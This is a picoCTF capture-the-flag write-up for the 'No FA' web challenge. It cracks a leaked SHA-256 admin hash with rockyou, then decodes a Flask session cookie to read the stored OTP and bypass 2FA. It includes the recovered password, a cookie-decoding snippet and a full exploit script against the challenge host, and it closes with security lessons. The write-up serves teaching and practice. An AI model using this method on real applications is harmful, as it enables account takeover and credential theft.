picoCTF - Web Exploitation

No FA

picoCTF No FA writeup exploiting Flask session cookie vulnerabilities to leak OTP codes and crack passwords for authentication bypass.

Contents

No FA

Challenge Summary

This picoCTF challenge provided:

  • A live login portal
  • The application source code
  • A leaked SQLite database
  • Repeated hints about rockyou

Target:

http://foggy-cliff.picoctf.net:55737/login

Provided files:

  • app (1).py
  • users.db
  • rockyou

The objective was to recover the flag from the admin account.

Initial Analysis

The leaked database contained a users table with usernames, emails, password hashes, and a two_fa flag.

The important admin row looked like this:

username: admin
email: iamadmin@nfs.com
password: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa: 1

So admin used 2FA, while most other users did not.

Source Code Review

The login route verified passwords with SHA-256:

if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:

If the user had 2FA enabled, the app generated a 4-digit OTP and stored it in the Flask session:

otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'
return redirect(url_for('two_fa'))

That is the critical design flaw.

Why This Is Vulnerable

Flask’s default session mechanism stores data on the client side in a signed cookie. The cookie is protected against modification if the secret key is unknown, but the contents are not encrypted.

That means if the server stores sensitive values such as:

  • otp_secret
  • username
  • timestamps

inside the session, the browser can still read them.

So even without forging the session, the OTP can simply be extracted from the cookie after a successful password login.

Step 1: Crack the Admin Password

The repeated rockyou hint strongly suggested offline password cracking.

The admin password hash from users.db was:

c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67

Using rockyou.txt against SHA-256 recovered:

apple@123

So the admin credentials were:

admin : apple@123

Step 2: Trigger the OTP Flow

Logging in with the recovered password redirected to /two_fa and issued a Flask session cookie.

That cookie looked like:

.eJwty0sKgCAQANC7zFoCtcnyMiE5ieAPnVbR3WvR9sG7IdUQyIOF06VBIKBy2wcdnfjDWWr9G8dMg11uYKUxWklElJPaDC6rgGtQLy7Td5zPscDzAirgHCg.abEfPw.BsVwFapCHik_B_IMNs8eow2stfY

The Flask session cookie payload can be decoded without knowing the secret key.

Decoded content:

{"logged":"false","otp_secret":"4133","otp_timestamp":1773215551.660..., "username":"admin"}

The key point is that the OTP was directly visible:

4133

So there was no need to brute-force 2FA at all.

This is enough to extract the OTP from the session cookie:

import base64
import zlib
import json

cookie = "<session_cookie_here>"

payload = cookie.split('.')[1] if cookie.startswith('.') else cookie.split('.')[0]
raw = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4))

try:
    data = zlib.decompress(raw)
except Exception:
    data = raw

print(json.loads(data))

Full Exploit Flow

A working approach:

  1. Crack the leaked admin SHA-256 hash with rockyou
  2. Log in as admin with apple@123
  3. Read the session cookie
  4. Decode the cookie and extract otp_secret
  5. Submit the extracted OTP to /two_fa
  6. Load / and read the flag

Scripted Solution

import requests
import base64
import zlib
import json

BASE = "http://foggy-cliff.picoctf.net:55737"

s = requests.Session()

# Login with cracked admin password
s.post(BASE + "/login", data={
    "username": "admin",
    "password": "apple@123"
}, allow_redirects=False)

cookie = s.cookies.get("session")

# Decode OTP from Flask session cookie
payload = cookie.split('.')[1] if cookie.startswith('.') else cookie.split('.')[0]
raw = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4))

try:
    data = zlib.decompress(raw)
except Exception:
    data = raw

session_data = json.loads(data)
otp = session_data["otp_secret"]

# Complete 2FA
s.post(BASE + "/two_fa", data={"otp": otp}, allow_redirects=False)

# Read flag
r = s.get(BASE + "/")
print(r.text)

Flag

picoCTF{<redacted>}

Why This Worked

The challenge combined two weaknesses:

  1. The leaked database exposed password hashes, allowing offline cracking.
  2. The OTP secret was stored client-side in the Flask session cookie.

So even though admin had 2FA enabled, the second factor was not truly secret. Once the password was cracked, the OTP was exposed by the application itself.

Security Lessons

  • Do not store OTP secrets client-side in readable cookies.
  • Signed cookies protect integrity, not confidentiality.
  • Sensitive authentication state should be stored server-side.
  • Leaked password databases make weak passwords trivial to recover offline.
  • 2FA is ineffective if the OTP is exposed to the client before verification.

Takeaway

This challenge was solved by combining offline password cracking with session cookie inspection. The admin password came from the leaked SHA-256 hash, and the second factor was recovered directly from the Flask session because it was only signed, not encrypted.

Recovered admin password:

apple@123

Recovered flag:

picoCTF{<redacted>}